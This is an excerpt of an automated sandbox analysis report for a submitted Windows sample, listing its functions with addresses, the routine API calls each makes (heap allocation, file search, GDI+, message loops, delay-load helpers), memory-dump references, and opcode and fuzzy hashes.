                                                              • Opcode ID: 3bb2524720293dba33f072a58fd58ba0d59e740a6b21a88de779f1586619b3fd
                                                              • Instruction ID: 462a964a7b94f50408d2f1081b34fccd53469c548478174d500e7f7150df82b2
                                                              • Opcode Fuzzy Hash: 3bb2524720293dba33f072a58fd58ba0d59e740a6b21a88de779f1586619b3fd
                                                              • Instruction Fuzzy Hash: 2B21C871E006129FEF18AF749C55A6EB6B4FF04314F19023AE505AB6C5D7749940C7F4
                                                              Function 00D7D771 Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID:
                                                              • API String ID: 431132790-0
                                                              • Opcode ID: 369ef12e9566f3d9a5558ac325d7e03a9f36aa2cea33854c1e56ee8e743f67c4
                                                              • Instruction ID: 24a2922865b304181497cca22cdb72c064509a9b0d85aa4ecb7cb693b158121c
                                                              • Opcode Fuzzy Hash: 369ef12e9566f3d9a5558ac325d7e03a9f36aa2cea33854c1e56ee8e743f67c4
                                                              • Instruction Fuzzy Hash: 71215675A0061A9BDB15DFE9DC81AAEB7BAEF84300F14401AE505B7201DB749E05C7B5
                                                              Function 00D7EAF3 Relevance: 1.6, APIs: 1, Instructions: 76COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_
                                                              • String ID:
                                                              • API String ID: 2427045233-0
                                                              • Opcode ID: 2142507dac6bc53141dc520c90490fc6d17a863022c7f48bbf68e992ccd368e1
                                                              • Instruction ID: 142904f60dc8e8e6d7353843d886d052582a9ad63a2ffc9d452ed9d591bfb9b9
                                                              • Opcode Fuzzy Hash: 2142507dac6bc53141dc520c90490fc6d17a863022c7f48bbf68e992ccd368e1
                                                              • Instruction Fuzzy Hash: 3B21EB346013149EDF20DF64C842EEE7BE9EF1A750F188599F44AA7181E7709E49C770
                                                              Function 00D9437D Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_
                                                              • String ID:
                                                              • API String ID: 2427045233-0
                                                              • Opcode ID: bba495af3f45c7609e797bf2153d2c5c460d9f3dd4506bf5d91382a7f444f2b5
                                                              • Instruction ID: 43dfdebdcca49e514639215f1f8b299442c476a396a42c26b53e3929e8dedd6e
                                                              • Opcode Fuzzy Hash: bba495af3f45c7609e797bf2153d2c5c460d9f3dd4506bf5d91382a7f444f2b5
                                                              • Instruction Fuzzy Hash: DB212C71940209DEDF08EFE8D985EED7BF9EF48300F54412AE104E7292DA359A46CB71
                                                              Function 00D94300 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_
                                                              • String ID:
                                                              • API String ID: 2427045233-0
                                                              • Opcode ID: f01a5adbc535c0bba9e3994f2b0df3198001d6113990636b45800aafba361893
                                                              • Instruction ID: e55b8f3191eb0a6dec8e455275f8f0370e68f838d421b88fe629fb80bcb02ce7
                                                              • Opcode Fuzzy Hash: f01a5adbc535c0bba9e3994f2b0df3198001d6113990636b45800aafba361893
                                                              • Instruction Fuzzy Hash: B2013CB5881209EEDF01FBE4C886EDEB7BCEF14315F444165F505AA182DA389B4ACB71
                                                              Function 00DA040E Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • RtlAllocateHeap.NTDLL(00000000,00D9535E,?,?,00D96C16,?,?,?,?,?,00D95269,00D9535E,?,?,?,?), ref: 00DA0440
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1279760036-0
                                                              • Opcode ID: 2a0d4e446ce884681e40e86931253c73b73c5aa88570021c240e7be1a9a4eec8
                                                              • Instruction ID: bdd20e918bd756046c32dd0362586192c754c4c3d1816ff7924c5e04db3eafc2
                                                              • Opcode Fuzzy Hash: 2a0d4e446ce884681e40e86931253c73b73c5aa88570021c240e7be1a9a4eec8
                                                              • Instruction Fuzzy Hash: 63E06D32605325ABEB2127A69C01B5B3E4CFF4B3B0F2D4120EE88D6192CBE5DC0081F6
                                                              Function 00D7F711 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D7F826: __EH_prolog3_GS.LIBCMT ref: 00D7F830
                                                                • Part of subcall function 00D7F826: FindFirstFileW.KERNELBASE(?,?,00000274,00D7F733,000000FF,00000049,00000049,?,?,00D7A684,?,?,00000000,?,?,?), ref: 00D7F859
                                                                • Part of subcall function 00D7F826: FindFirstFileW.KERNEL32(?,?,?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049), ref: 00D7F8A4
                                                                • Part of subcall function 00D7F826: GetLastError.KERNEL32(?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049,?,00000000), ref: 00D7F902
                                                              • FindClose.KERNELBASE(00000000,000000FF,00000049,00000049,?,?,00D7A684,?,?,00000000,?,?,?,?,?,?), ref: 00D7F739
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Find$FileFirst$CloseErrorH_prolog3_Last
                                                              • String ID:
                                                              • API String ID: 765066492-0
                                                              • Opcode ID: 480263cb74382fd9896178279856cb83d74bafb5a779a990557c781ccd8ed2ba
                                                              • Instruction ID: 75c826ee35dfa59a0a365da01f09d333f1397b2bd0f8f6f99f305195c2b103df
                                                              • Opcode Fuzzy Hash: 480263cb74382fd9896178279856cb83d74bafb5a779a990557c781ccd8ed2ba
                                                              • Instruction Fuzzy Hash: EDF0A735009750AECE316BA48805A8B7FD0AF1B370F048B49F0FD131A2D27090569B32
                                                              Function 00D873F8 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetThreadExecutionState.KERNEL32(00000001), ref: 00D8742D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ExecutionStateThread
                                                              • String ID:
                                                              • API String ID: 2211380416-0
                                                              • Opcode ID: 5a9b6807e5b8a48417fe36d0daeba2645bf1ae34782b8ec56dc0dd6673d04600
                                                              • Instruction ID: 0b9bb707b2ba56ca0e72e3d2e257e97d2b3c71acfac814b57934f905ebe60124
                                                              • Opcode Fuzzy Hash: 5a9b6807e5b8a48417fe36d0daeba2645bf1ae34782b8ec56dc0dd6673d04600
                                                              • Instruction Fuzzy Hash: 25D02B1170811072EA113729285ABFD1A0ACFC2325F0C4039B009933C3EE840846A3FE
                                                              Function 00D711DD Relevance: 1.5, APIs: 1, Instructions: 17COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • Concurrency::cancel_current_task.LIBCPMT ref: 00D71206
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Concurrency::cancel_current_task
                                                              • String ID:
                                                              • API String ID: 118556049-0
                                                              • Opcode ID: 679acea3c257f309f3b37c7a6b0c56e7ba53015130158bd6b89df0f0531ea031
                                                              • Instruction ID: 1058873ae816ae795f6fff84e630ac6668cf5e9687eafe40d7ccb108e0f2a0eb
                                                              • Opcode Fuzzy Hash: 679acea3c257f309f3b37c7a6b0c56e7ba53015130158bd6b89df0f0531ea031
                                                              • Instruction Fuzzy Hash: 8AD05E7E7026034E8B2DEB3CD46692E76A09F90305364832DF02ECA682EF21CC15C779
                                                              Function 00D8EB06 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GdipAlloc.GDIPLUS(00000010), ref: 00D8EB0C
                                                                • Part of subcall function 00D8E849: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00D8E86A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Gdip$AllocBitmapCreateFromStream
                                                              • String ID:
                                                              • API String ID: 1915507550-0
                                                              • Opcode ID: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
                                                              • Instruction ID: 505cfa6dae8781cce832a83f1a9cd3faf74096f43e504bcc4897096cced39db4
                                                              • Opcode Fuzzy Hash: 40d26e3062f3a0a4d923ad9eb1023a0fc0ac8bf0375a6db8f64136e7eac3b51d
                                                              • Instruction Fuzzy Hash: C1D0A930200209BADF023B20CC02D7E7BA9EF00340F008131BC4295190EAB0EA10ABB0
                                                              Function 00D94231 Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00D94256
                                                                • Part of subcall function 00D90678: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D90689
                                                                • Part of subcall function 00D90678: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D9069A
                                                                • Part of subcall function 00D90678: IsDialogMessageW.USER32(00010426,?), ref: 00D906AE
                                                                • Part of subcall function 00D90678: TranslateMessage.USER32(?), ref: 00D906BC
                                                                • Part of subcall function 00D90678: DispatchMessageW.USER32(?), ref: 00D906C6
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Message$DialogDispatchItemPeekSendTranslate
                                                              • String ID:
                                                              • API String ID: 897784432-0
                                                              • Opcode ID: 5c05f22b7e89fe9466313bdfc9d44a76736a1c18ace50a6d541db2955a469ffb
                                                              • Instruction ID: affa91fa7535bfffd15621dbf6ca031503150f50ed1edc108dffca621428667a
                                                              • Opcode Fuzzy Hash: 5c05f22b7e89fe9466313bdfc9d44a76736a1c18ace50a6d541db2955a469ffb
                                                              • Instruction Fuzzy Hash: B3D09E32144301AEDB122B51DE06F0A7AF2EB88B04F404654B345740B1C6629E30AF36
                                                              Function 00D94D2C Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D94DD5: RtlAcquireSRWLockExclusive.NTDLL ref: 00D94DF2
                                                              • DloadProtectSection.DELAYIMP ref: 00D94D54
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AcquireDloadExclusiveLockProtectSection
                                                              • String ID:
                                                              • API String ID: 3680172570-0
                                                              • Opcode ID: a49fc1482c71b0c0d9db3a6036edb638cdbeb4e417ec4216dada26e32e6e8b8e
                                                              • Instruction ID: 6df845db5cc5a72a6c4f0ace6ec3f212b99bfc3982808c48b7deffac3939441f
                                                              • Opcode Fuzzy Hash: a49fc1482c71b0c0d9db3a6036edb638cdbeb4e417ec4216dada26e32e6e8b8e
                                                              • Instruction Fuzzy Hash: 36D0C9382007629ECF15AB64AC4AF142390B704314B880785F252C66AEDBA06492A6B1
                                                              Function 00D7E152 Relevance: 1.5, APIs: 1, Instructions: 12COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFileType.KERNELBASE(000000FF,00D7E052,?,?,?,00000000,00D7E5D2,?,?,00000000,?,00000000), ref: 00D7E15E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FileType
                                                              • String ID:
                                                              • API String ID: 3081899298-0
                                                              • Opcode ID: 423e50fc84b73630c789694699c8ba661304b52eb06372e447d60413ac173f76
                                                              • Instruction ID: fc6dd164dd3eecbb66cde7cbabd7c105fc84e149981103d9a8c511bda603621e
                                                              • Opcode Fuzzy Hash: 423e50fc84b73630c789694699c8ba661304b52eb06372e447d60413ac173f76
                                                              • Instruction Fuzzy Hash: CEC00234400309D6CE314A28984B4997722AA573B67F8D7D4D42DC96A1D7378C97EA61
                                                              Function 00D949D5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: d48256dc89ff350c81e68ff41cfb9dd8c178ba03887c2288325f38e657f6bcee
                                                              • Instruction ID: 64ecc3d1e6e28842bbb48d4a3609dedbca49f7b5ecaaee3fb29a29ddb832ee62
                                                              • Opcode Fuzzy Hash: d48256dc89ff350c81e68ff41cfb9dd8c178ba03887c2288325f38e657f6bcee
                                                              • Instruction Fuzzy Hash: D8B0128126D502BD370462143E02D37014ECAC8B11330451EF001C2283D4408C460431
                                                              Function 00D949C1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: ea6b1d4f8a39c433bf7c934aebe3986a8a2d195aa79c659bad4cb731b65e7946
                                                              • Instruction ID: 2435f254815ae21fb8e4bd5bce3f9ea83d457a368e07cea3d898943cdf1bf7f1
                                                              • Opcode Fuzzy Hash: ea6b1d4f8a39c433bf7c934aebe3986a8a2d195aa79c659bad4cb731b65e7946
                                                              • Instruction Fuzzy Hash: 8AB0129125D202BD374463153E02D37010DC6C8B11330461EF001C2283D440CC860431
                                                              Function 00D94999 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 1b590ce104c520bc35b9483be72af0ee9d6cd527dbe8f0a4b8dda0e76c640e45
                                                              • Instruction ID: a9de56b826373452e58dfb4d4e6a1e47ace58150a730c93f3e34b700c0970b9f
                                                              • Opcode Fuzzy Hash: 1b590ce104c520bc35b9483be72af0ee9d6cd527dbe8f0a4b8dda0e76c640e45
                                                              • Instruction Fuzzy Hash: 37B0129135C202BD374462153E02D37010CC6C8B11330561EF001C2283D4408D860431
                                                              Function 00D9498F Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
